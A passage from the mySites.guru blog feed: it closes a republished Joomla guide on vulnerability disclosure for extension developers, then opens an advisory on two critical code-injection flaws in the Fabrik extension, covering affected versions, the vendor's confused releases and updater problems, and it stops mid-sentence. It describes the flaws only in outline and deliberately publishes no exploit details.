&lt;li&gt;Assess the vulnerability&lt;/li&gt;
&lt;li&gt;Determine whether a CVE already exists&lt;/li&gt;
&lt;li&gt;Coordinate with the reporter where possible&lt;/li&gt;
&lt;li&gt;Release a fix as quickly as practical&lt;/li&gt;
&lt;li&gt;Publish an advisory&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The CVE process also provides mechanisms for vulnerabilities that have already been publicly disclosed.&lt;/p&gt;
&lt;h3&gt;20. Do not retaliate against good-faith researchers&lt;/h3&gt;
&lt;p&gt;A responsible disclosure process should explicitly state that good-faith security research is welcome.&lt;/p&gt;
&lt;p&gt;A useful policy statement is:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;We welcome good-faith security research and responsible vulnerability disclosure. Researchers who follow this policy will not be subject to legal action by us solely for activities conducted in accordance with this policy.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;However, define reasonable boundaries around:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Accessing other users’ data&lt;/li&gt;
&lt;li&gt;Destructive testing&lt;/li&gt;
&lt;li&gt;Denial-of-service testing&lt;/li&gt;
&lt;li&gt;Social engineering&lt;/li&gt;
&lt;li&gt;Automated scanning of third-party infrastructure&lt;/li&gt;
&lt;li&gt;Persistence&lt;/li&gt;
&lt;li&gt;Data exfiltration&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Credit, Licence and the Pull Request&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;End of the republished work&lt;/p&gt;
  &lt;p&gt;The twenty numbered practices above are the work of David Jardin and the Joomla! Project, not of mySites.guru.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Author&lt;/h3&gt;
&lt;p&gt;David Jardin, &lt;a href=&quot;https://volunteers.joomla.org/teams/security-strike-team&quot;&gt;Team Leader of the Joomla Security Strike Team&lt;/a&gt;, the group that receives security reports for the project and operates Joomla’s CVE Numbering Authority. He contributes to the Joomla repositories as &lt;a href=&quot;https://github.com/SniperSister&quot;&gt;SniperSister&lt;/a&gt;, and has led the JSST since 2021.&lt;/p&gt;
&lt;h3&gt;Copyright&lt;/h3&gt;
&lt;p&gt;The Joomla! Project and its contributors. The Joomla! Electronic Documentation License is itself copyright 2007 Open Source Matters, Inc.&lt;/p&gt;
&lt;h3&gt;Source&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/Manual/pull/695&quot;&gt;joomla/Manual pull request 695&lt;/a&gt;, opened and merged on 10 August 2026, adding &lt;code&gt;docs/building-extensions/security.md&lt;/code&gt;. The source form of the work, in the plain Markdown it was written in, is available free of charge over the internet: &lt;a href=&quot;https://raw.githubusercontent.com/joomla/Manual/main/docs/building-extensions/security.md&quot;&gt;read the raw file&lt;/a&gt; on the Manual’s &lt;code&gt;main&lt;/code&gt; branch, &lt;a href=&quot;https://raw.githubusercontent.com/joomla/Manual/a0912738de97dafb781fe3ca472bdb150d9dbeca/docs/building-extensions/security.md&quot;&gt;read the exact revision republished here&lt;/a&gt; at merge commit &lt;code&gt;a091273&lt;/code&gt;, or &lt;a href=&quot;https://github.com/joomla/Manual/pull/695/files&quot;&gt;browse the diff&lt;/a&gt;. The merged text is identical to what is reproduced above. It is now published on the documentation site as &lt;a href=&quot;https://manual.joomla.org/docs/next/building-extensions/security/&quot;&gt;Building Extensions: Security&lt;/a&gt;, currently under the &lt;code&gt;next&lt;/code&gt; documentation version. This page is itself available in Markdown source form by requesting it with an &lt;code&gt;Accept: text/markdown&lt;/code&gt; header.&lt;/p&gt;
&lt;h3&gt;Licence&lt;/h3&gt;
&lt;p&gt;The Joomla Manual is published under the &lt;a href=&quot;https://docs.joomla.org/JEDL&quot;&gt;Joomla! Electronic Documentation License&lt;/a&gt; (&lt;a href=&quot;https://github.com/joomla/Manual/blob/main/LICENSE&quot;&gt;full text in the repository&lt;/a&gt;). That licence applies to the republished work above. As its conditional permissions require, mySites.guru grants a Grantback License to the author and a Copyleft License to everyone who receives this page, so the Joomla project may take this material back into its authoritative documentation and anyone downstream may propagate it on the same terms. The JEDL covers electronic media only, so reproducing it in print needs separate permission from the Joomla project.&lt;/p&gt;
&lt;h3&gt;Status&lt;/h3&gt;
&lt;p&gt;Pull request 695 was merged into the Joomla Manual’s &lt;code&gt;main&lt;/code&gt; branch on 10 August 2026 at 11:05 UTC, thirteen minutes after David opened it, by Harald Leithner. The text above is therefore official Joomla developer documentation. It is not an enforced requirement: nothing checks whether an extension follows it, and no Joomla Extensions Directory rule is attached to it. Separately, the JEDL grants no right to represent republished material as official or endorsed, so to be clear, the upstream Manual page is official Joomla documentation and this republication of it is not endorsed by the Joomla project.&lt;/p&gt;
&lt;p&gt;If you maintain a Joomla extension, the merge is not the end of the conversation. Points 3 and 9, the response-time targets and the disclosure timeline, are the ones most likely to need a reality check from people shipping extensions with small teams, and a one-day acknowledgement target reads differently when the maintainer is one person with a day job. That feedback now belongs in a fresh issue or pull request on the &lt;a href=&quot;https://github.com/joomla/Manual/issues&quot;&gt;joomla/Manual repository&lt;/a&gt; rather than a review comment on a closed pull request.&lt;/p&gt;
&lt;p&gt;Our own view, from the reporting side: point 1 is the one to act on this week. A &lt;code&gt;SECURITY.md&lt;/code&gt; and a published contact address costs an afternoon, works before you ever have an incident, and is the difference between a researcher reaching you privately and a researcher giving up and publishing.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/building-extensions/security/&quot;&gt;Joomla Manual: Building Extensions, Security&lt;/a&gt; - the page reproduced above, read at source on the official documentation site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/security/fundamentals&quot;&gt;Joomla Manual: Security fundamentals&lt;/a&gt; - the secure-coding half of the picture, covering the practices that stop the vulnerability existing in the first place.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Developer Network: Security&lt;/a&gt; - the Joomla Security Strike Team’s own pages, including the security announcement feed point 16 refers to.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/JEDL&quot;&gt;Joomla! Electronic Documentation License&lt;/a&gt; - the licence this page republishes under, and the one that lets anyone else do the same.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.first.org/cvss/v4-0/specification-document&quot;&gt;FIRST: CVSS 4.0 specification&lt;/a&gt; - the scoring standard point 6 recommends, from the body that publishes it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147:2018&lt;/a&gt; - “Vulnerability disclosure”, the international standard covering how a vendor receives vulnerability reports and publishes remediation information. Point 1 draws its principles from it, and the 2018 second edition is the current one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/ResourcesSupport/AllResources/CNARules&quot;&gt;CVE Program: CNA rules&lt;/a&gt; - the publication requirements point 11 tells developers to follow.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/PartnerInformation/ListofPartners&quot;&gt;CVE Program partner list&lt;/a&gt; - where the Joomla! Project’s CNA scope is recorded as “Core Joomla! CMS, the Joomla Framework, and Joomla! Extensions issues only”.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - these rules measured against a real disclosure, including the changelog rule the developer went back and put right.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jem-joomla-event-manager-disclosure/&quot;&gt;Five security issues in JEM (Joomla Event Manager)&lt;/a&gt; - the same rules tested by the harder case: the corrected code went to a public release candidate before a stable release existed, which took the disclosure public with it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you look after Joomla sites rather than build the extensions on them, the practical companion to this is knowing which of your sites run what. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Try a free audit&lt;/a&gt; on one site, or read our roundup of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;nineteen Joomla extension vulnerabilities disclosed in a month&lt;/a&gt; for what the reporting side of this process actually looks like.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>responsible disclosure</category><category>extensions</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/joomla-extension-security-disclosure-standard.png" length="0" type="image/png"/></item><item><title>The Fabrik Fiasco: Announced, Restricted, Relabelled</title><link>https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/</link><guid isPermaLink="true">https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/</guid><description>Two CVSS 10.0 RCEs in the Fabrik Joomla extension, and a chaotic run of security releases since. The vendor has moved past 4.7.0; be on 4.7.2.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;Updated 22 August 2026: Fabrik is now on 4.7.2, and it fixes far more than the two flaws this post started with&lt;/p&gt;&lt;p&gt;This post was first written for the 4.7.0 release. Since then Fabrik has shipped 4.7.1 and 4.7.2, and 4.7.2 closes a long list of further unauthenticated vulnerabilities. Fabrik’s own &lt;a href=&quot;https://fabrikar.com/changelogs/changelog-history&quot;&gt;changelog&lt;/a&gt; credits most of them to mySites.guru by name. The full list is in &lt;strong&gt;What Fabrik 4.7.2 fixes&lt;/strong&gt; below. Update every Fabrik install to the latest &lt;strong&gt;4.7.2&lt;/strong&gt; build, downloaded fresh from fabrikar.com, because 4.7.2 has been re-issued more than once under the same version number, so the version string alone does not tell you which build you have. The original 4.7.0 write-up follows, left as it was.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/fabrik/&quot;&gt;Fabrik&lt;/a&gt; is an application builder for Joomla. You use it to construct forms, database-backed lists and small applications inside a Joomla site, and it has been on the Joomla Extensions Directory since 2014 with the project itself dating back to 2006. On 9 August 2026 its developers released &lt;strong&gt;Fabrik 4.6.7&lt;/strong&gt; and labelled it a security release. The following morning the Joomla CNA published &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66915/&quot;&gt;CVE-2026-66915&lt;/a&gt;&lt;/strong&gt;, an &lt;strong&gt;unauthenticated remote code execution&lt;/strong&gt; flaw in the extension’s calc element, scored &lt;strong&gt;CVSS 4.0 10.0 Critical&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Later that same day, Fabrik released &lt;strong&gt;4.6.8&lt;/strong&gt; with a second security fix, this one in the extension’s list filters. Then the story moved twice more. On 12 August the Joomla CNA &lt;strong&gt;revised &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66915/&quot;&gt;CVE-2026-66915&lt;/a&gt;&lt;/strong&gt; to say that 4.6.7 had not actually closed it, widening the affected range to include 4.6.8. The same day, the list filter flaw got a CVE of its own. On 13 August Fabrik announced &lt;strong&gt;4.7.0&lt;/strong&gt;, a hardening release aimed at the whole class of problem.&lt;/p&gt;
&lt;p&gt;Announced is the word to hold on to, because 4.7.0 has never had an ordinary release. Fabrik published it on 13 August with its maturity given as Stable, put it on the changelog history page and posted release notes to its forum, while the package itself stayed restricted to what the vendor calls a small group of users. It was left out of the Joomla update feed, so no site’s updater could see it. On 16 August it went into the feed, tagged as a release candidate that Joomla hides at default settings, and the release page was rewritten to read Release Candidate on the same build and the same release date. Fabrik 4.6.7 has been withdrawn from the download page in the meantime.&lt;/p&gt;
&lt;p&gt;If you run Fabrik on any Joomla site, &lt;strong&gt;4.7.0&lt;/strong&gt; was the version to be on when we first published this, because nothing else then sat above both published CVE ceilings. That includes the sites you updated to 4.6.8 last week on the advice everybody was giving, this post included. The vendor has since shipped &lt;strong&gt;4.7.1&lt;/strong&gt; and then &lt;strong&gt;4.7.2&lt;/strong&gt;, so the current release to be on has moved on. See the update note immediately below; the rest of this post is the 4.7.0 story as it stood.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update, 22 August 2026: the current release is now 4.7.2&lt;/p&gt;&lt;p&gt;Since this post first went up, Fabrik has released 4.7.1 and then 4.7.2. The release to be on now is the latest &lt;strong&gt;4.7.2&lt;/strong&gt; build, downloaded fresh from fabrikar.com. Re-download it even if a site already reports 4.7.2, because 4.7.2 has been re-issued more than once under the same version number, so the version string alone does not tell you which build you have. mySites.guru is independently verifying the latest release, and flags every connected Fabrik site through 4.7.2 until that is confirmed. Everything below this note is the original 4.7.0 write-up, left as it was written so the sequence of events is on the record.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Update Fabrik to 4.7.0, and update again if you stopped at 4.6.8&lt;/p&gt;&lt;p&gt;The revised &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66915/&quot;&gt;CVE-2026-66915&lt;/a&gt; record lists 1.0.0 to 4.6.8 as affected, so the calc element flaw was still there after the 4.6.7 fix. Its stated fixed version, 4.6.9, has no public release. Fabrik 4.7.0 (13 August 2026) is the only publicly downloadable version above both CVE ceilings, and it is a real upgrade rather than a point release: it breaks existing userAjax calls and needs the FullCalendar and Paypal plugins updated alongside it, so test on a sandbox first. Joomla’s updater will not show it at default settings, so this one is a manual download and install, and it needs a valid Fabrik subscription. Be clear about what you are installing: Fabrik announced 4.7.0 on 13 August as Stable while the package was still restricted, and on 16 August relabelled it Release Candidate on the same build and the same release date. The release process has been a shambles, but the security fix itself is sound, so install it. Fabrik 4 installs on Joomla 4.2 and above and Joomla 5.1 and above only, so Joomla 3 and Joomla 6 sites still need a different plan, though Joomla 3 sites now have a manual patch for the calc flaw.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: Fabrik’s calc element computes a field value by evaluating a PHP expression that the site builder writes. When the element’s AJAX option is on, that recalculation happens live through a front-end endpoint in &lt;code&gt;com_fabrik&lt;/code&gt;, and that endpoint could be reached by an anonymous visitor with no login and no user interaction. Because evaluating PHP is the element’s intended job, reaching it without authorisation means running code on the server. That is &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66915/&quot;&gt;CVE-2026-66915&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;CWE-94&lt;/strong&gt;, &lt;strong&gt;CVSS 4.0 10.0 Critical&lt;/strong&gt; (&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;), reported by &lt;strong&gt;Moe Khalilov of LeetProtect Research&lt;/strong&gt;. It was published on 10 August 2026 saying versions 1.0.0 to 4.6.6 were affected and 4.6.7 fixed it, then &lt;strong&gt;revised on 12 August&lt;/strong&gt; to &lt;strong&gt;1.0.0 to 4.6.8&lt;/strong&gt;, fixed in 4.6.9. The first fix did not hold. A &lt;strong&gt;second flaw&lt;/strong&gt;, in the front end list filter model, is &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67282/&quot;&gt;CVE-2026-67282&lt;/a&gt;&lt;/strong&gt;, also &lt;strong&gt;CWE-94&lt;/strong&gt; and also &lt;strong&gt;CVSS 4.0 10.0 Critical&lt;/strong&gt;, reported by &lt;strong&gt;Murad Gasimov&lt;/strong&gt;, affecting 1.0.0 to 4.6.7 and fixed in 4.6.8. &lt;strong&gt;There is no public Fabrik 4.6.9&lt;/strong&gt;, so &lt;strong&gt;4.7.0&lt;/strong&gt; (13 August 2026, “a major hardening release against PHP eval attack vectors”) is the release to be on. It &lt;strong&gt;breaks userAjax&lt;/strong&gt; and needs &lt;strong&gt;FullCalendar and Paypal updated&lt;/strong&gt; with it, and Joomla’s updater &lt;strong&gt;will not show it at default settings&lt;/strong&gt;, so you install it by hand. Fabrik &lt;strong&gt;announced it on 13 August as Stable while the package was restricted&lt;/strong&gt; to a small test group, added it to the update feed on &lt;strong&gt;16 August&lt;/strong&gt; tagged as a &lt;strong&gt;release candidate&lt;/strong&gt; that Joomla hides at default settings, and &lt;strong&gt;relabelled the release itself Release Candidate&lt;/strong&gt; the same day, on the same build and the same release date. It installs on &lt;strong&gt;Joomla 4.2 to 5.x only&lt;/strong&gt; and needs a &lt;strong&gt;valid Fabrik subscription&lt;/strong&gt;. Joomla 3 sites still have &lt;strong&gt;no patched release&lt;/strong&gt; but now have a &lt;strong&gt;manual one-line source patch&lt;/strong&gt; from the vendor for the calc flaw. &lt;strong&gt;We obtained the 4.7.0 package&lt;/strong&gt;, which no one outside the vendor’s test group has been able to do, and &lt;strong&gt;both flaws are fixed&lt;/strong&gt;: &lt;code&gt;eval()&lt;/code&gt; is down to two files in 869, and visitor data is now bound as PHP variables instead of spliced into the code. mySites.guru lists every connected Joomla site running Fabrik with both the Fabrik and Joomla version, so you can sort them into the ones that update and the ones that do not.&lt;/p&gt;
&lt;h2&gt;What Fabrik 4.7.2 fixes, and who reported it&lt;/h2&gt;
&lt;p&gt;Fabrik 4.7.0 closed the two originally published remote code execution flaws. What happened over the following week is the part worth recording. Across 4.7.1 and 4.7.2, Fabrik closed a long series of further unauthenticated vulnerabilities, and its own &lt;a href=&quot;https://fabrikar.com/changelogs/changelog-history&quot;&gt;changelog&lt;/a&gt; credits most of them to mySites.guru by name.&lt;/p&gt;
&lt;p&gt;The Joomla CNA has now published a CVE record for every one of these, and &lt;strong&gt;fifteen of them credit mySites.guru as the finder&lt;/strong&gt;, four of those at the maximum CVSS 10.0. Rather than repeat the full table here, we have put it, with every CVE linked and scored, in a dedicated post: &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/fabrik-4-7-2-security-release/&quot;&gt;Fabrik 4.7.2: A Long List of Security Fixes&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The short version is that these are unauthenticated flaws across the calc and image elements, the list filters, the comment and order plugins and more: remote code execution, SQL injection, arbitrary file upload, directory listing, comment manipulation, a path traversal and a heredoc breakout, most with no login, no token and no user interaction. Any Fabrik install below 4.7.2 should be treated as exposed, and 4.7.2 is the release that closes the set. mySites.guru flags every connected Fabrik site through 4.7.2 while we independently verify the latest build.&lt;/p&gt;
&lt;h2&gt;What Is Wrong in Fabrik’s Calc Element?&lt;/h2&gt;
&lt;p&gt;The calc element is a Fabrik field whose value is worked out rather than typed. A site builder writes a small PHP expression into the element’s settings, for example to total two other fields or apply a tax rate, and Fabrik evaluates that expression to produce the value. Evaluating site-builder PHP is the documented, intended behaviour of the element, and it is why Fabrik can do the things people use it for.&lt;/p&gt;
&lt;p&gt;The element has an option to recalculate over AJAX, so the value updates live as a visitor fills in a form instead of only when the page reloads. That option adds a second route to the same evaluation: a front-end endpoint in the &lt;code&gt;com_fabrik&lt;/code&gt; component that takes the current form data, substitutes it into the stored expression, and evaluates the result. In the Fabrik source that is public, which is the older Joomla 3 line, the calculation reaches a plain PHP &lt;code&gt;eval()&lt;/code&gt; at the end of both routes. Fabrik 4.x is distributed only to subscribers and its source is not published anywhere we could find, so the description here is drawn from the public Joomla 3 code plus the CVE record’s own classification of CWE-94, rather than from reading the patched release.&lt;/p&gt;
&lt;p&gt;The flaw is that the AJAX route was reachable by anyone. No login, no privileges, no user interaction, which is exactly what the CVSS vector records with &lt;code&gt;PR:N&lt;/code&gt; and &lt;code&gt;UI:N&lt;/code&gt;. Joomla’s standard input filtering runs on the submitted data, but that filter exists to strip HTML and script tags for cross-site scripting purposes and does not neutralise PHP syntax. Because the substitution happens before the evaluation, submitted data that steps outside its expected position changes what actually gets executed.&lt;/p&gt;
&lt;p&gt;This is the same shape of problem we wrote about in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints being a CMS security blind spot&lt;/a&gt;: a helper route added for front-end convenience, sitting beside a well-guarded main path, that never inherited the main path’s checks.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Why we are not publishing an exploit&lt;/p&gt;&lt;p&gt;A fix exists and is available today in 4.7.0. We have described the shape of the flaw and named the component, because you need that to understand the risk and decide what to do. We are not publishing the endpoint parameters, the substitution syntax or any working proof of concept. Nothing here is a recipe.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Which Fabrik Versions Are Affected?&lt;/h2&gt;
&lt;p&gt;When the CVE first published it listed &lt;strong&gt;1.0.0 through 4.6.6&lt;/strong&gt; as affected and &lt;strong&gt;4.6.7&lt;/strong&gt; as fixed. On 12 August the Joomla CNA revised the record to &lt;strong&gt;1.0.0 through 4.6.8&lt;/strong&gt;, with the fixed version restated as &lt;strong&gt;4.6.9&lt;/strong&gt;. Either way it covers every Fabrik release ever made, across both the Fabrik 3.x line built for Joomla 3 and the Fabrik 4.x line built for Joomla 4 and 5. What changed is the other end: the fix that shipped on 9 August did not close it, and neither did the release that followed.&lt;/p&gt;
&lt;p&gt;We were not the only ones working from the original range. The record’s own reference list now includes this post, which is a useful reminder that a fixed version in a CVE is a claim with a date on it, and dates move.&lt;/p&gt;
&lt;p&gt;Fabrik’s own changelog and forum post are unambiguous about what 4.6.7 is.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Fabrik&apos;s own words on 4.6.7&lt;/p&gt;&lt;div&gt;&lt;p&gt;Changelog: “Fabrik Base Version 4.6.7 (2026-08-09). Fix, 2026-08-09: Security fix for calc element. Notes: This is a security release, please update immediately.”&lt;/p&gt;&lt;p&gt;Forum announcement, posted by a project administrator on the evening of 9 August 2026: “Fabrik 4.6.7 is available. This is a security fix addressing the calc element. Please update immediatly. […] You may download this update through the Joomla Updater or by direct download via My Download Files from the Fabrik site. Note: You will require a valid subscription in order to download or update. Fabrik 4 will not install on Joomla 6”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Credit where it is due. This is a clearly labelled, clearly dated security release with an explicit instruction to update, published in two places on the day it shipped. We have covered plenty of vendors who buried a serious fix under “improved input validation” in a changelog, and Fabrik did not do that here.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Note on the missing 4.6.6&lt;/p&gt;&lt;p&gt;The CVE names 4.6.6 as the last affected version, but Fabrik’s public changelog goes straight from 4.6.5 on 29 July 2026 to 4.6.7 on 9 August 2026, with no 4.6.6 entry. We have seen 4.6.6 reported by a real site, so the build exists. We could not find a public explanation of what happened to it, and Fabrik has retracted a bad build before, so treat 4.6.6 as affected and move on regardless.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Then Fabrik Released 4.6.8&lt;/h2&gt;
&lt;p&gt;On 10 August 2026, the day after 4.6.7 and the same day the CVE published, Fabrik released &lt;strong&gt;4.6.8&lt;/strong&gt;. Its changelog entry reads in full:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Fabrik changelog, 4.6.8 (2026-08-10)&lt;/p&gt;&lt;div&gt;&lt;p&gt;“Fabrik Base Version 4.6.8 (2026-08-10). Fix, 2026-08-10: Security fix for list filters. Notes: This is a security release, please update immediately.”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That was the whole of it at the time. No CVE, no advisory, no severity, no indication of whether an attacker needed a login. The forum announcement, when it came, called it “a very small change specific to list prefilters using eval”.&lt;/p&gt;
&lt;p&gt;On 12 August 2026 it got a number, and the number is not small. &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67282/&quot;&gt;CVE-2026-67282&lt;/a&gt;&lt;/strong&gt; is an &lt;strong&gt;unauthenticated remote code execution&lt;/strong&gt; flaw in Fabrik’s &lt;strong&gt;front end list filter model&lt;/strong&gt;, scored &lt;strong&gt;CVSS 4.0 10.0 Critical&lt;/strong&gt; on the same vector as the calc element flaw, classed as &lt;strong&gt;CWE-94 code injection&lt;/strong&gt;, and reported by &lt;strong&gt;Murad Gasimov&lt;/strong&gt;. It affects &lt;strong&gt;1.0.0 through 4.6.7&lt;/strong&gt; and is fixed in &lt;strong&gt;4.6.8&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Two unauthenticated remote code execution flaws, both scoring the maximum, in different parts of the same extension, disclosed two days apart. The 4.6.4 changelog from earlier this year has the line “Some more code hardening. Add error messages in case of FILTERTEXT reset (in case eval was used legally)”, so filters and &lt;code&gt;eval&lt;/code&gt; were already an area the developers were tightening.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;”A very small change” was a CVSS 10.0&lt;/p&gt;&lt;p&gt;The size of a diff and the severity of what it fixes are unrelated, and this is a clean example of the gap. A one-line change that closes an unauthenticated path to code execution is a one-line change that closes an unauthenticated path to code execution. If a vendor describes a security release as small, read that as a statement about the patch and not about your risk.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Then the Calc Element Fix Turned Out Not to Have Worked&lt;/h2&gt;
&lt;p&gt;On 12 August the Joomla CNA revised &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66915/&quot;&gt;CVE-2026-66915&lt;/a&gt;. The affected range went from 1.0.0 to 4.6.6, up to &lt;strong&gt;1.0.0 to 4.6.8&lt;/strong&gt;. The fixed version went from 4.6.7 to &lt;strong&gt;4.6.9&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Read straight, that says the fix shipped on 9 August did not close the flaw, and the release that followed it did not either. Everyone who updated to 4.6.7, and everyone who then updated again to 4.6.8 because of the list filter issue, was still exposed to the calc element flaw the whole time.&lt;/p&gt;
&lt;p&gt;Acting on that is harder than it sounds, because &lt;strong&gt;there is no public Fabrik 4.6.9&lt;/strong&gt;. It has no entry in the changelog history. It is not on the vendor’s download listing, which showed 4.6.3, 4.6.7, 4.6.8 and 4.7.0 on 13 August and shows 4.6.3, 4.6.8 and 4.7.0 today, 4.6.7 having been withdrawn. Its release information page returns a 404. The version named as the fix in the CVE record is not a version anybody can install.&lt;/p&gt;
&lt;p&gt;What Fabrik shipped instead, on &lt;strong&gt;13 August 2026&lt;/strong&gt;, is &lt;strong&gt;4.7.0&lt;/strong&gt;:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Fabrik changelog, 4.7.0 (2026-08-13)&lt;/p&gt;&lt;div&gt;&lt;p&gt;“Fabrik Base Version 4.7.0 (2026-08-13). Fix, 2026-08-10: This is a major hardening release against PHP eval attack vectors. Notes: This is a major security release. This release will break any userAjax you are using. Also, if you are using FullCalendar or Paypal you will need to update to the latest versions.”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That reads like a response to the whole class of problem, not to one more report. Both published flaws are CWE-94 code injection reached through &lt;code&gt;eval&lt;/code&gt;, and the vendor’s own words on the Fabrik 3 thread confirm the intent: “A major security hardening effort is currently underway for F4 and F5.”&lt;/p&gt;
&lt;p&gt;The version to be on is &lt;strong&gt;Fabrik 4.7.0&lt;/strong&gt;: it is the only publicly downloadable release that sits above both CVE ceilings, and it is the release the vendor points at.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Treat 4.7.0 as a real upgrade&lt;/p&gt;&lt;p&gt;The vendor states that 4.7.0 breaks any userAjax calls you are using, and that FullCalendar and Paypal need updating to their current versions alongside it. Hardening the paths that reach &lt;code&gt;eval&lt;/code&gt; is exactly the kind of change that breaks code depending on those paths, which is presumably why the minor version moved. Install and test on a sandbox before a live site. That is Fabrik’s own advice and it is the right call here, because this is the one update in the sequence that can break a working application.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;The alert worked, and the destination was wrong anyway&lt;/p&gt;&lt;p&gt;We emailed every affected account on 10 August telling them to go to 4.6.8. Of the Fabrik sites we can see that now run a build from that week, around six in seven are on 4.6.8 rather than 4.6.7, so the correction reached people and they acted on it. Every one of those sites is still short of the fix, through no fault of the people who updated them. That is the cost of a revised CVE record, and it is why “we already did that one” is not a safe answer three days later.&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;Joomla’s Updater Still Will Not Offer You 4.7.0&lt;/h3&gt;
&lt;p&gt;Fabrik 4.7.0 exists and the vendor has announced it. Getting it onto a site is a separate problem, and that problem has changed shape once already.&lt;/p&gt;
&lt;p&gt;When we first wrote this up on 13 August, 4.7.0 was simply absent from the update feed Joomla reads for the Fabrik Base package. That feed included 4.6.7, 4.6.8 and 4.6.3 and nothing above them, so a site running an update check was told 4.6.8 was the newest release available and then reported itself current.&lt;/p&gt;
&lt;p&gt;On 16 August the feed changed. 4.7.0 is in it now, and 4.6.7 has been taken out. A site checking for updates today still will not be offered 4.7.0, for two independent reasons, and only one of them has a documented fix.&lt;/p&gt;
&lt;h3&gt;The Documented Reason: a Stability Tag&lt;/h3&gt;
&lt;p&gt;Fabrik’s feed entry for 4.7.0 has &lt;code&gt;&amp;lt;tag&amp;gt;rc&amp;lt;/tag&amp;gt;&lt;/code&gt;. Joomla’s installer has a setting called Minimum Extension Stability, its default value is Stable, and &lt;code&gt;ExtensionAdapter&lt;/code&gt; discards any advertised update sitting below that setting. A release candidate is one rung below stable, so at default settings Joomla reads the update out of the feed and then throws it away without telling anyone. The vendor’s instruction is to go to System, then Update, then Extensions, click Options, and set Minimum Extension Stability to Release Candidate. That works. Note that it is a site-wide setting rather than a per-extension one, so every other extension on that site will start offering you its pre-release builds too, and it stays that way until somebody puts it back.&lt;/p&gt;
&lt;h3&gt;The Undocumented Reason: a Regex Bug&lt;/h3&gt;
&lt;p&gt;The second reason is not documented anywhere, and no setting fixes it. The feed entries for 4.7.0 and for 4.6.8 beside it both declare which Joomla versions they are for like this:&lt;/p&gt;
